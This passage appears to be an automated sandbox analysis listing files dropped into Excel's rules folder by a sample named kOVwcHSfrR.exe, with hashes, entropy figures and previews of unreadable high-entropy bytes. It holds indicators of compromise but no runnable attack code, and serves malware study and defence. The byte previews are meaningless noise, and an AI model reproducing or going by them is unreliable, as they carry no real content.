Preview:	<?xml.(G..6>.A.."..1.{R8................)<i>.].JN...2....[a..'.M..d....\@...y,.g.....x).]~.9.p.e...R.g.Y\..y.r.......G.....Q...e...z..Of...?.Wd..4.4]....EW.........H..2.".O7....(....E.h..GDO#.Md`...4.}.n#..G....U..q'H.....#h.IU\Y..t.:M._...J.,5%...k.rPG.k..i{.5..N(.(..#.d.yBw...+OK......v....0V.Ws...l...A.....j.bw.t..S..E..{...s...:.-.=.!0,.....6..6~. W..VSX..:p...I.1i..."...d.mr.O..+...a..v....oR.!.<...AaW..#ZTS..;.T#.B#...Y...........@...AN...uX..[~q.`.ho.97}.$..:6.....E..&...g....S.....}3.....j.................]....GO.....F.g:J`.F#>....\|.6\..~g-M0.............\.(j.S.x.D..8..\....u...0VB....%..t......xv.../....+v..^.-.E1..y...x&...f...t.b....`.R.z.'..Qv......4.l....#.&..X.l}.8S.....H...nS.1.r.$MV.6..;z...G.)d....C...C.........-S8.g..W.W.{.tv..7I....`.....>.......%..D.......lr..#...h.r:xq}5....l.zU"..s.nN....zXU{...g.6x.z....c..3.&...E.7...pi.*..4.......DZ..5..g#..y.c..~....!.G...~<...t......g..o..).y..\..sh.h'...bF..xYh..E.F..}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63058v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1247
Entropy (8bit):	7.836497188613323
Encrypted:	false
SSDEEP:	24:Btxt1sMu9mBvRA3xBP4b5xpeJR0J8tZJHR7Doh0dJ/76kbvIhbw1bD:H71Ru9cG3mfpQ3BJ/7DKbyD
MD5:	F584BD79FD2407E9227DF430D074C780
SHA1:	B2619E5CD8D524585C89E166451031E414B9FEA3
SHA-256:	E66535DC2A27FC9CA4C6F252907554F8C887C4AF992A2C94A2C0DD98858474AA
SHA-512:	0FEC153D44CC0BB4A418E16930DD0EB77DD864E145073A5140699A432BAD975BA3088A9E3503ABF9194D4536CFB42AB2AFCFF29E861EBE9A40F91FE0224D6991
Malicious:	false
Preview:	<?xmlQ.7....{l5....J..v$.4J.'.(.......B.b...R.....+va....cO.=/...,.S.q......:........awkf.#....]T.<..d.8H._.9..f\.N..<fB.y:..J...mAr.D.0x..G...T.E.Q.ii....~A.....B{..,e.`.4..Z.Y;2vX1..k.2....T.+!..2.~...y...;.>-8i..C...<.....O%..x.....w..~...C...S.u$.......rm\|..@..N.O.z..m..........g..0....! ..B..J...".rrc/....(..h..^F.........Wce.",j.\.E....T..1.......w\.O..`t..,..`....8.<}.............vOe.%..l..[15...z.}G{...Qq.0".d..).9..Pv.,..D<...OGgf..I?.s.b.%..VW...B.c.Z...S....l..i.>6...u...b....".e.....\|].=...k.j..$...+`c...6.o.v. ...o..y".9...P/O.#.._.....Tm..W.^=.......k4......=9..%...Bs..u?e... ..Ed{.Z.......AB:]9YY...r>....jz....7..P....._...P... b....~...9.]I.;(.,.x.R..3{.".)..uB.M.2.k. _RG'S.H.b._..zG..W..L.%......<...:X'.....7.f..\|3..a..E..c.Ud)......%../.._.\..9....&9....z\.J.hY\|9.l.b..y.z....Q..B4.../...K%..u+e..z.....O.2.e.....N..T.....D..6.I.%.f..#%.J....W...t..,..,.I.jQF.5S..ZF..D..Z.=c...X.w.....C..+u99.U....}S!

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63059v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	950
Entropy (8bit):	7.775301029707853
Encrypted:	false
SSDEEP:	24:Y5Z8n3IjD7v2AOYoBw0AzlNFCC1Qgqhkw1bD:Y5ZO3uesM1Az4C1VAkyD
MD5:	BBF66484E2A417A7E359555660FB0A59
SHA1:	C5ADF71F088B197B4DE343AAD9384411B7D390EB
SHA-256:	E59C3A0E9D434338D66A52BFB544AFABE1079188454CB113AE42954F31423237
SHA-512:	F43299F75F8C5E6B718890451C60FD995BC3EE3DD6FCE1E787D6DEC7DEDA4CA3C6CE9427A692F27788CE7789646608F93ADF674E6F977DD926484FE56EA0B0C8
Malicious:	false
Preview:	<?xml'."<.......K..d.....9O...Zz{.b...C.1..aK......72....pN.!N;..\|..]."...uz..i..Fg..e.A..C.a..5p;.<.../L.H.u.61I.V.>^C.\|..n(.....k.}....n].;..5x.......fi.V..?.....)....EM.`. #........(3../..H,..b.>!.._?.rt..z!W..z.X\k..K.jR.`..u.T"......P.W{...,mp.~.G....hSJ..J.6j[..`...Ic.>..$.j...;.\..........^e.5....w.....9."sd.@..b1..N...B...U.E\|.....K...8.A.:..........Q..(..._..E*.T.`...#..f..h.g....&...T<j..a..?Pq.5.+..k..JD.P.#9..r.x..JJz..L.@../.. ...Q.W..<......{..).X...E......( %]HU...;...P-...O..j...Q..nR.#.3.Cw..N..d2Ym...w8....<.x..}..L.}.Y.>PmUk>.g.i..{.o$.....T..).P6.......g.4.q.....'.V.M.........:....t.5FEI$.n...yq...{.6..~e.#..W.M........v..G.....<X..`+k.....v4..x....."a+xn..g..=..p...:...'2t.}...YS.?.#yA....O`.8.......O.(.z...F......Z...e..`.EEd.3...vMp.D.xf,ky6V.z.-..q$D...3.7..Y...Q.S.7.2....$R .g'F@..(6 ...'..M.TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63063v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1125
Entropy (8bit):	7.7766655152694035
Encrypted:	false
SSDEEP:	24:t6FmQM3Q3YGTkm+S1rtJu9cCIz7pDgxmu2CDvySO/UpA3HAQaqG2w1bD:cFmQAQVTkw/wcPpcIutvyhUS3gQfPyD
MD5:	FA680820110615ACA49CEB40D50D3D86
SHA1:	DA4A7DAD2CFA83979EF5153AD84A15361917D6C9
SHA-256:	DF379D8FEDA85C2BB53E97B8E07752CD2B1AD386C57488BF75263AB07C43C596
SHA-512:	F3AB484F63122DCE3800012A2F0E257030BD68181CBD1E7F54A7FC62DB4C084B1068BF5F6C2D3EBD396F3B382B3A10FB08CEC79E1CEE2DFFE1E6D0D4A0A58A52
Malicious:	false
Preview:	<?xml...Q...q3....t..'Z........{=..piW.k!3...k.....`.t.......vW..\|J..J.1.C.}.#...O...`.q.l.../.v.+.{.....8O5.f......].d..i......{.QR.U...I.s....(`u..E...4.....u.#\|c-R....5r...oH..............+...u. ........:}C...g..T.f......."#Mg.u.Q.FRH\./...>.l?(...........2.,....k.F.9.B..>6^.&.mZ$t7.....#7.1..aq!.............d>~l......JI.z.u...'.N.]..V-....n.SBOu.p..T....I..x6............~.:..+..[.-R..uk......"..T.y.A......2...\.B.)-.2...-..\|..........7.qk.....I...q.n...>i.{...P......0...d..+.@S...,......t...".....b.VZ......N.........8.\|.k.......r..\_....9o..a.....l.S.....nz...X.........T#....a..86.J.28..=yh.gsy`..F.._...rk;Lt.2.{.y.k...Pa.+...`...7%.-$....Ta..jc...Q i....7/._...jn..E..n@3...2Y.[w@j.1.ik&H..t...C3....g..$...].g..YgWE..!..9.t"....LO#.......N.]O.pY.>...........W?9...pV....B.i.Z".l*.&...z.3.[..73$...>^2k..t.r..PZSR/..M #.a..iV.........Y.Dnt.....xgy~...b.(.;.iw..7.t..D.LuA...`.....n%..4..Q..D.a..84.ia.E...?...r.d`.vt..]..!..<5tg/U....m

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63066v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1121
Entropy (8bit):	7.801632431143862
Encrypted:	false
SSDEEP:	24:hJXTKZPtHGg03AsmCip9EE0eLTr/HULmZqprjaZ/L4pyiXw1bD:hJwIg03AnELeLTrPemUqLEyD
MD5:	AEBD0F2893815037964D43D19CA21884
SHA1:	9F1F089B98FC7A0A132C2F72C4ADD981BE66948D
SHA-256:	8CC0F31C29A3D1147F0AD113D0DFFC4E5ACFA01030F85222CB1B7BBBE7F4F4D5
SHA-512:	EC1FFB2825B8B3A3CC66BA0D3F7A450F9083BC5485A2DFB49724069AC2185757998928CA9D9B71CE6E4A44F551754CADB6753710FC5BA062D4185D53D32005FC
Malicious:	false
Preview:	<?xml.H...'....k.qhD..t.SVb.v5....B....sv#xA..........gp....ft.B.-;b.nwA.Z..."..g..c%^}.&..}q.;T^..i.......H..9.!q.Bb.U..#....#K..A....j....EL.......6..h9..j.Qm.,...2..(W.....0......Y.{w.V..?._..$...Z{.....7......m......?nq.:..S..&.%.C6U~..2.i....0-.s..G..F..........Id...7(.:..I..3Z$...h.....&.Nv0.gLZ9.mRK..~.;&...V9>.B.0...N.S ...\|\|.e..a!..L.,..;..r...0jj.t.....@...\|Z..@Yc.@5.'..S..@.....Lb..]6..B.Ka..........w-..WR....i..".A...B7..pz.......1.u.(.........8.BH=..O/.:.g..I......+.........T....;OH'...9.aUd...X......~A1.N...1....=@ C+.o.X...{..I..`.A.....,.k..2:g8B..4S..IUj.b...5gw.b..Z+Vlix..."(..t..I...v..0fQF.9J...R....I........c...3..xs.......l.........Qze.\|...k.._....s.m..H.F}....[.{...*...H.E.'.3.j..(x.........2+&<....bWqT..e.......8&..f+i.=f7.a..;:.&ZZ.(....X.`8...D$.7N.sJ.W]&;..7...M,2.1...%0....t.Q/?6.y.k..V....GOK4`..N.)R&....4.o.L.[g.6...........G..1....`.V=w......S..a^R..y.o.usXU.....\;.....h.m..wG..Rd...4.c......(..r..@...,\..L..y.A.?].....!

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63067v3.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	3109
Entropy (8bit):	7.936158669229216
Encrypted:	false
SSDEEP:	48:zt055FjAx55vxtsofJ6hGBx9CMYA7blgKFxp9qVpjXZZXomVQZxo+Z8yD:R055tsf5tsohq2xE47+cEDjTomKZaxa
MD5:	5F41DD3FF79FAD7004EE9DDBD9597055
SHA1:	317B4BAE56DE6EC72DE8B5DED20D451B3F11668D
SHA-256:	6FD5D09162D1292FD47C58F00F5BEDFEC1E54488326FB9BA136CC4143BB77578
SHA-512:	D9A831243CA43EC7704DED2B5AC07023F94C106452D7962CD3290178BA6DF29C572977BDAF7CA0C5E0ACBAD36376B7D955192062EAA2BA94E6470952AE2B7361
Malicious:	false
Preview:	<?xml..C.f .`..')..G....O+...D...0.P.5(.zy>.I..V.M.K.......m=....9fEZ..S.ts......K....v./..9..,..-.o.yb.W_s'dF].V..%kE..R.xc..a.c...5..g...n.z.y...y..!n.Y..n:.-..B.+......H@~x.....j...\a.$e.H..S.p.)......A...E.[..i...J..;?..h.OCH$?....Nl.....:..w...n.$.j.~H...:$..Ji.E...5..X.._.&..KmgYd.6....vS.q.h$.S.8}.....&0.#.Mrt...x.....B..BK.(.{...B.L...y.-.....B.9.yUQ:.[..E.2.Q..W4..Pj........1..5...6.......(hV.6.t.z.....#.Ap!c:..:...../..s...A..@.7).Y......NT........X.E;7...a.-.E....".=.^\|....D..y.d.{.0......$}...@.NWA..>.._.E....Q+.t.T4....{...s..<q.t.! .....tl...}....4...CLB.........w.......B.p.WzC#..@.R..Ck.%U....V..7Cp\}gE.!.'L..^....(dk.'......\|D...C`.I.x..^......(..&.kzJ...x..}....r....W..O........T...+.r......p...=..hE.q...a..O....f..v...!...O......'l..;H.q>-......S=....1_.z.f.<..\e..s....-.Zd.'.M....v.s.]]U7`^.p...h>LdM.h;..C.{..la....H...@....l.\|...Z.&ea......1R.R.......7.R.1...<.(...Uq29...'..F..?<......)d.R......69.q..=..7.....:.z..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63069v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	2126
Entropy (8bit):	7.921274453504238
Encrypted:	false
SSDEEP:	48:QW2T1RB2ecW7ZY6B4TW2LlAPsSCEnm6HKFg0XAdjvifyD:QWM+W7ZNeW2wsfQyXAdLifa
MD5:	A1301A589700C647E799FC387C6885F6
SHA1:	40CDC12EDE42124B932923B44593081992A060B7
SHA-256:	5F9AB701EC4513772B2FB1DB3CC59E23E3E05F36B05E139300176AE641060BEA
SHA-512:	F4C596FDB78D95204E607AB02F554565F065F1D263ACB487141B9A5741718326323901E15065A54E053ABBF360C2AD70064F461AFFBF37287D4A052F612FE568
Malicious:	false
Preview:	<?xmlK...6..A;N.wlVb\|.S9~.,d..-.:...........S..Nq.... .VnpQgx~.7`...a.I..e..'..0.....~..+...c..{]....P..f.......nr..R.l.....E.....q.H...m..i../..9B..$T.;.:..5..d.....O.R._i.....-yqD....F.0.H.t../.5..f...{.].+l..z.h,.b...6'...z".l6P..r4...#..H_.J.B....8..IG......{..O.@..P.i.!.6=r..v.7}tB.....{........W.<......x.....).....c.ew.Y...a...0...xR...C.p......\|..P....>l.Z.D...V.B...aR.....5F...f..`...L..W.[.+LD#U..H."d.'.../........9.~/.bf.......~g....mJxf2.A....rt..j...Il.......4<..%.J.<m..b..>fL....9..B..~....oS.&:_.._.e......t......0.\|..s.D...../82...+.+.W.x.K......#.c...,3....F.h...IgB.,:...\.M..pg..$.B>..nQ.w..........0Q0..Z.34..H-...Y.1l.#... ........o..Q..4.s.....W..c.X=.c-.Y&.\..x.....@.....T......E...(.Z'...y,.S~..(G..*...T.[......c.DIj.'. ...i.)..?A.....!..V.....p...-.lL........\.@.}$..B ZL........PZZ..s...C.X.{-9...:..F..a...V.<.(..C.....&.?....'...........W...c.\.....7o..Pm....h.n..1!.... .eIDWi.....5}u.d.....Mz.\|.z... .b..kw>..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63070v5.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1387
Entropy (8bit):	7.831208071417608
Encrypted:	false
SSDEEP:	24:HKPT+FKwewc8aaivrwsB1eMy0/mIKQkW+tc+jp4VFK+Yw1bD:H++FGJbvCM7/m9QkWASH9YyD
MD5:	5EC5CD8836456E91AF881A51AC173873
SHA1:	2D03918C8C7A0BE839F344DE9836540872C251AE
SHA-256:	46417777D907C006131054112F05A3BBA7FE8CE097478446C24A616CAE524835
SHA-512:	A6EF3197572F7D2FC63D5BE224442E9A14E601B3E1A4F0181D7F35A15CB2610F818E2E97809DE86452E81A40B261B69EC53D5355D9D537E89C3168650230B942
Malicious:	false
Preview:	<?xml.V........y3Bt.Q:.y..%...S..Ru.^..U.D>..u.8'.^f%..%.j.y.K..IJb>...h,..^.\ni...h...6=..88..U......=.D/....E....Y.Fuqn...B..(....Oz.38.m..am.....\LM~.....9...Z.CX.?}:.bLQ.g.1)a.t.k.7.h..I...!.I...T.._..C!.MT.H../....H..y...f...C.G.?...%.W.zv.bo.?Dk1s..5-.......2mq.....W...q.-dKBN.G.>u...F....a....z.6.MT\..63....{S=.@"....../"......2..{.3......C....h.b.'.c.zA.(.T......qX..UB..].+b._{[I.F....-G....P..^.ki...f;{G.8.^$;o.t..P.\..\.....@../j.`.;.$..h6..P...u./.....30.....c..L.."..&7.....ZG H5.=.=x."..R.;.....xyP.Y.A...\|..jK...:..Q{.3...g......d.b......6.:.Ak...d....OV;.....f..Y..RR....I.......MP...h.G..4 g...'.8.cY.d?.sB....\|%......\...u/.#.......~}...yz.9!......f..Y...vSN..c.Lk..Wl....`F...p>.jB......M9..qG(..K.^....C"6...L5.Y.m_D.../ .v..4.8........vO..a...g......\..@mLL....b..Z..f....MsR^...9..r..tZ.%..\|..j.\$..4...i.k./1X..oX....W~y....5F.......{(ZQ.Fu c2.O. .m..w......E.8.;Y...\...{2...`U1.#..o /.....C..J..J...g..DG.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63071v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	754
Entropy (8bit):	7.70958479372981
Encrypted:	false
SSDEEP:	12:9Qoylhe45DBt5jFzoulKc+bM722q0tu+HGOCg2CVv257nhNhCiqdHMPNrLmB/eCX:3AhecBXj2CUihqiRHmZCV0zCiqdee0CX
MD5:	03B67561D483DA27A923630341B86F28
SHA1:	862F658DBB96A65311E81091A83BCBF5226EDB76
SHA-256:	81718AF9F244FE58A4CB2CF57A8B15C80A434081FF86E7E7D962EB06688DD776
SHA-512:	939C6695E07E9124FB8B433AD04A15FFA14E0CA5BB9600815715914A9BCD3F8C5F2C09CAF41ABEC3F51E77872AD80AE1DA48ADF0309D36CA2761706249209D8B
Malicious:	false
Preview:	<?xml....E.C....".....7.g-..%.....x.=-k[.o..L .Y.a.vmU.4..\..... Ab......MS.eQ}..Vt.8.B.b......Zv)~.w,...a$k. '.\ .ABl .A.S.V.\.......A...c.r.).....-........T{...i..(..~....~..S.%.V....uXd0..K]N.....t.%.O........Jg>F.[......A.>.Wl...W.?In,'C.`.q..JC_Cw.."......D..e...&.b6..3I..q.B......,%e..m...~.2O..<....>N.s....,.....OTA....X..G..D.<...\|.....F8M......IC.C..'....I.r..F..]..4...........k....GMm.B3m.[..A.&..Z...;....W..:.41\a:..L..vO....,f.x.....d.."0...g..<...W.>t.+.......P........J[....?.$8.n.cTs..h].I.F.z5g..(.L(.....'......:....Bz..7....wG.8......./.5..!........c...@...XLZ..u\.\|v..YEL._..[..g.@V..^.....';...t{-5.TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63077v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1399
Entropy (8bit):	7.853232085499137
Encrypted:	false
SSDEEP:	24:z/GXlhHWZ8fjxmRJIsOhL8fC7i1/+yI9gVJOW/9WtZST3VOUx2w1bD:zuXvHWyfjxEJIsiA+SVMW/9AZ63kxyD
MD5:	C35391DD9BE9E9B097AE3639AB60DDD4
SHA1:	4B721A5D8585F0DD710AEE856E9B85CA823494F9
SHA-256:	FCB38D8C2B844685BC81EA6186AD85715C6B073F1FAC15E74B8FAF7AF1FD0936
SHA-512:	6990B0B22C41EC7EA5C41354FD8820D32FDAD753342C57038A3EB587E3B7542E492D4DBFF6829D1EE0D1B226F02FAF9AA24351075239FE4FA05C470CDCE88215
Malicious:	false
Preview:	<?xml.}..TL..3.ky.2...?....k..48...QO.....[g..F..GRo...8 G.mA.........w6~../j.....^.bE.NC.P,.E.}.. .D.o.e.u..?=._.n.m.w]...}F.....).QGj..c.."T...R.....=..B...Y..7.u.....M.t...M ..T..,.j..,&.-:....a...8.......B..K{.p..{.....-Q...P..f......R.(@.....&..n.N.=.+U./yd.)._.FV.ZlZ.Wm!.(....$..L.F...ob%.8d.V;.b.O>.W_.ZQ>..,..O%}.;c.QT........k....f..V...aX..g.w...Q.(-...`.N.Z..ll.y.r....%d....\...Tdn.q.x...\..X.C.=2.e...;..!.....].>K........F{......Q+..8..Pl.{&i...eZ..G.A.p..KL..`.@#..Tsd.23:s+... .p.H.%N.#J.<...{.];3f.J..4D0.S.6X.1HKwRL....G.Ij.i.6.[$..rDp\.Y,..cH.....i..Z.5d8wm..X...Q.G..\|.f.Dcb...x....Ig=../..^M..ywlo.@.a..9^..L...X;.^&mw0.-.J...F..3....t.....<...7...........--......=...<*.K.V...5..e v.\..+.7. b57...#.W.3....."..e.I....N~..802.k..+..`.J.-...!....Q.80!.....KRv.g..?\.OVS!.....{.s)....0=-.+kS5..5+.}....Z....l..e...v.!....^(Q...l.G<..-&Y...+.6U.n.........1....>..^.-.SL...T.b...f.'x...K<..V.d..jN.../...7..T.Aw..U...6..x1..y

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63078v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	708
Entropy (8bit):	7.675820974513126
Encrypted:	false
SSDEEP:	12:kDcyneMKiL3Om4c0DfqGDZeostixUPeD1wml3w1VXmpCgra2b0lt1iKoqw1cii9a:k1eMxSm4Qcst1PexQ1VHkM1bw1bD
MD5:	EEE8F9ECB338957668D3A5539B1CDD08
SHA1:	24AD8821E1DDB28A79BA42BFEE62A66C146BB09C
SHA-256:	ECFE167C45F77BE5D6B39D1C2CC73941D8B0B65CBF8714A8E5F0D0925AAF957E
SHA-512:	3D30EF230F7DFCAF6BD41164F8AA1BC4A5197B254E789BBAAA56995596A7FCE9D60DA9B8CF5D68CC2C406230EB2CF11DFBCD6F32DF1D51E1CFF98E26779D0370
Malicious:	false
Preview:	<?xml/.<.....K>y0J..-..D7e..e` .\m......%.b\P..W...j..6..m....(.......t._..Qq....AE....)&E.`.......V..N.!.z..>2..G.......N...G....<.. 3..uT...+..t..Q.U..eJ5...W.G..JR.Y.q=S.Fm.>.l.....?..j.(.@z.X?........K...b....?6l.U....7Y..p.R...m..k$...!.3..p....R.....!Q$:i....l..`R.620... .\h..N.a...t...U.(....c....6.p. .{...l..8....M.........1..x.C.&.S?4q..m...&iHPtM..2._uDr'..d...J.-.2.......[.0.kz..R..6z....0.v.-..._.#.RF.b.],z...,.9:..........9.K{Z...5..b......#c...A..L p. 58...qP.$.@.wGI...yt.T.U.e.y2.tt.....)Q"@Y..03J...0.DJTc?.....u...q@L."..y.`Q....f..p.a..V......\|Y...ht.f.......s%=7..]TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule65136v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1132
Entropy (8bit):	7.8185387991631226
Encrypted:	false
SSDEEP:	24:DkS/d3RZur6rPEL3m+mmYdw2Z4qAoUZoD5XMEH2lZRgOHsAyBYNVyYw1bD:DFvZim8lmtw2+MUZ/EHWfgOH6BYNVDyD
MD5:	FEB1761D0C9FA5A77F34D33DD9219D84
SHA1:	5F2CECFF5D5EB87D04491BEDBEF3A49B6E41A62E
SHA-256:	F8AE9D57D45D71F604C83993BDFBDC9ECB50EF268200867406D69CE7B96974B5
SHA-512:	C5EBAE7989C599839CCE02F140981D8FF862DC7990B18DC243F758B6D9FB5A1DA374215F676D08534A1A5881204A44920FA7F9DB5CFB0DDC92282D37DB339563
Malicious:	false
Preview:	<?xml.T.lAF..j...<.O...v9x...NnQ..tpt...`..L....... .1X'..'3.Je.0<...Eug...$.<'......a.h[...i}&.r.E..H..-oU\|.b....i..6...T..P......?.....I...b7,{...x7.0L....S8.S.w.<\|...Z.P@5...A.......G;.`MF7........P/C..w.....F.J-<....\e(........I....iP.@q.E7N.:..XT Q......j3..K..B.A........n.`.=......u........E..;yx3.2_..[.Js.z.h...rw$k.....O..Z..+........N..z$.6f+M..R.)..r..R.H.}...A&[.u.T.:.?...HO.V..w mr...Ew.....x..R..^<.@.....-..ay...C..?.>.....o!S..K0....G.W.v..(.&L.h..6xuWf+w.N.......\...TQ.G..\..j.&..s.s)u..A...E.......elp.=>..@.\..Qw(.M..E...w~.......L...k....h...`.Y~=9..../4"...Y......2_..b.N..{..\....V...R2..T?<:....$.....;.)\.S..4.A.d.h.w,....M......0).XX.x...$s.....m....x..i.S....(.......SL..:...E.{_-j$.&...?"<{^...Y4..}b.].Fe.....r..\|....u0u.d...v.V&..!......k..#..<}.$\|S..^....&F....Z.a9.Z..8U..!.j..$...g3...Id.~)*....6..i.;7...d&.....H......#8.9,.1d{.Q.X......9...r..61`...g"Vg..E..H...Kz.._....c7.....0u.......xi..?..r.+....]\..2

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule65137v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.677415530386344
Encrypted:	false
SSDEEP:	12:EMpZHw6HA1J1LPLHkqZJD79JJF6uymMaOB61cPZiatlgCPqEbPYgw1TjXIDJqtdg:7rQaCDHhJlJHiiaYOKCPJbAg6Tjeqjaj
MD5:	D1B629E3E35920A329274A6CB10E0B31
SHA1:	9274564D7F8C25E10BD8FE8D7FF3D3810646DD9C
SHA-256:	0DB8848EF100883D93AE25609C5A95BC33D624EFA181BBB801994AD91C740A77
SHA-512:	F6882915064FFFFFF3799A697BE3EF81F8C15CA8610A315EAB59C4828F6A197D77FC627C0406E7BA98F2EFBB98B68687AD995C92F27260E92776D6A21A8B53EA
Malicious:	false
Preview:	<?xml.'.6....>2..h&.....Su.g..oa.K.u.).3..wY..5.A.i2.g.yX.....X.J..xwLq...>.&dk.........Y.f...-...N...E...Y.;...G.'3.U .h.:.c"n...J.6...tf....<..bto.w..J...........h.....q...f.#..r...=...L.~o.J....x.aR..L..Ap..<.d.....iy_F....J.....!.}....xY.uh...H....>....k_.+.k...Y..o...4l.7...o..kH ..1....-_t...>Oj.f.K.F..s.8VR..K..C.9).Pa.........1).Q..P..V...9.....&....M'.k.\|?..e.....=.+..Yp].\|)K.]..R.%..v....=.y...)...!.7.....eH......[8.\....iT.....CK>Nf.."...9..\|........)..6......I7r$7S.^.#_3k%T...l..B...1.s$..F...k\b..u.}...)f..A.0=...fZ..].S..f.C....[.D../d8.S....J..nM...!Q^....,Sz....U...b..2.!.6.g.tIH9.IU...< E..<x...5+.H.\>."..../!...yTkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule65138v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1094
Entropy (8bit):	7.814881802519106
Encrypted:	false
SSDEEP:	24:I06/V31yUt/YZYgeFdBOPGYvA7QuDc9UyiFj1ZoqCnrF50eXxtw1bD:I06htA8U7A7Q19fqpa8+xtyD
MD5:	F2CF104AD4273110292AC6A70C721E08
SHA1:	E848A8EAC3F4B6082CFCFE8B437815A0D8920A54
SHA-256:	4B66B07461E852621E07DE90DDAE41AA2C6010543BA56B64C67F6052149D3F3B
SHA-512:	6D1AF1E4132506CB867AB4D5B7D4741378EE4334EF5C85D540009EFAF7406E1634242A4CE4AF0C11909FBFAFE8BBEBDD9E5E80F5ADADBBFDBDF76ECADB20245F
Malicious:	false
Preview:	<?xmlaQb.Y.........^i>...D.G....P?._..fS.1..3v....g.....;.%..V=.%o".F.:....e.f...n'..#.s\~..#.Q.;g~.....vL1(.2..^~.P.9d..o.e..7V.(....&k....U2...s......7"..... .=..6....+y..n..n< ..i:0Q..5.I....:.2.=.k./k....9..]a.<....?.8g._.a.Sim0vr]0...m.GSC...(.....2.e.:.!..(..B..../..../u.5...+...!..&..).+#O.AA..x!.=....a.............C.{.".....4......h..X~B.p.....).....^t..._>.mb.H.......Z.3.<.OM.H.36....F.....#0.6.{.Sr...j..:..#.k:.%.....l..z/.Z..F...c4....H....?...~..;.W"0..&H..o.....<...>.:.F..]i.[x{^w7.Gc.h..2.o9..Gsn..g....Y56-$...I.}.#Xfs.....e..GV.c.........4....`.;.j..5..6i$.o.....)..F...$.Q...S..t'....f..l..).[...y1m.5dW.z..Z...xPiY..I......t.....n.z...D..a.N.FZ..u..y.$N<..^..J..x".{F7..h. !..LV...=....C.].q....U..n...........B.`g.....6C...Xn)._.e>j...v)..v.ET.2...H.";..o..Wo..........2.yjsN6X.}....<.f..3.........0.....\-.<a..c..?..%W..,b..y...........[f..+.P....o....%..X.R...3ucf............. 9....<..(b'...n..:@&B.]X%.q

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule65139v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	8095
Entropy (8bit):	7.97632440803267
Encrypted:	false
SSDEEP:	192:FR1o7vO2DrqsF+SIlf4mB1PnwSJrWRW2moj4mMmYrG:pcDrBFJJ+PwSJKRKoj4mMjG
MD5:	3C77D1B7539ECE1BCD79061811E805A8
SHA1:	B0AFE63D4C137BBF08588DE8C7E960FD453403A1
SHA-256:	55FB3AE973816F9FE1D061AFC6C982AF4C0115F01A7D9A010D43423A795E7A7F
SHA-512:	9FFE4D379E441C79AD43519FA0B55D1B6148FF11E290AFCBACFBA9C85C50CBBCCA73D09A4FC5D1E012A0466244E164CBB9ED042500B54E8DF4F8DC758E2E9214
Malicious:	false
